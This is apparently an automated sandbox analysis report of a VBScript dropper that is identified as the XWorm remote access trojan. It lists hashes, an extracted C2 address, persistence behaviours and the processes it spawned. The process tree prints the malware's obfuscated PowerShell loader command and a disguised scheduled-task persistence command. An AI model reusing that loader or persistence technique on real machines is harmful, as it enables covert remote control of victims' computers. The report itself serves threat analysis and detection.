Analysis

  • max time kernel
    54s
  • max time network
    55s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-06-2024 20:23

General

  • Target

    FUD.vbs

  • Size

    50KB

  • MD5

    61230920efef6ab453d9ccc42e9540fb

  • SHA1

    127f2123507d091e072a9029c6cd6b7d043f665e

  • SHA256

    0e260957b3b6a07c65e0681f5dd2fc641b68f1f5616a0561f196ac083f747d33

  • SHA512

    7d6b04e2311a260a9f03d3ff3e11881a95edb00070965f3a0a7a43183e7f7afe7ef2753e0a37c0c100e62094cbe06c45b704ad02bcae95ff588eabdb0a233e87

  • SSDEEP

    1536:A6cYdHvZQw09SkelLyAPh0voJKfI2jygScsddWZrv+Vm:A6cIvk9reVUvWII2gJdWZT+Vm

Malware Config

Extracted

Family

xworm

Version

5.0

C2

Jamalhacker-53065.portmap.io:2028

Mutex

NBXNL6R1KrKKccOr

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $RO87DB = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $RO87DB = -join $RO87DB[-1..-$RO87DB.Length];[<##>AppDomain<##>]::<##>('cFS1BEYurrentDomain'.replace('cFS1BEY','C'))<##>.<##>('l1OK0AYoad'.replace('l1OK0AY','L'))([Convert]::FromBase64String($RO87DB))<##>.<##>('e655ZBQntryPoint'.replace('e655ZBQ','E'))<##>.<##>('InvGKQU22oke'.replace('vGKQU22','v'))($Null,$Null)<##>;
      2⤵
      • Drops startup file
      • Adds Run key to start application
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3452
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2812
  • C:\Users\Admin\Windows backup
    "C:\Users\Admin\Windows backup"
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2328

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    62KB

    MD5

    e566632d8956997225be604d026c9b39

    SHA1

    94a9aade75fffc63ed71404b630eca41d3ce130e

    SHA256

    b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

    SHA512

    f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_havxajsy.4ee.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\Windows backup

    Filesize

    440KB

    MD5

    0e9ccd796e251916133392539572a374

    SHA1

    eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

    SHA256

    c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

    SHA512

    e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

  • memory/3452-0-0x00007FF8A3873000-0x00007FF8A3875000-memory.dmp

    Filesize

    8KB

  • memory/3452-1-0x000001B469270000-0x000001B469292000-memory.dmp

    Filesize

    136KB

  • memory/3452-10-0x000001B469980000-0x000001B4699C6000-memory.dmp

    Filesize

    280KB

  • memory/3452-12-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp

    Filesize

    10.8MB

  • memory/3452-11-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp

    Filesize

    10.8MB

  • memory/3452-13-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp

    Filesize

    10.8MB

  • memory/3452-15-0x000001B4692B0000-0x000001B4692C0000-memory.dmp

    Filesize

    64KB

  • memory/3452-20-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp

    Filesize

    10.8MB

  • memory/3452-21-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp

    Filesize

    10.8MB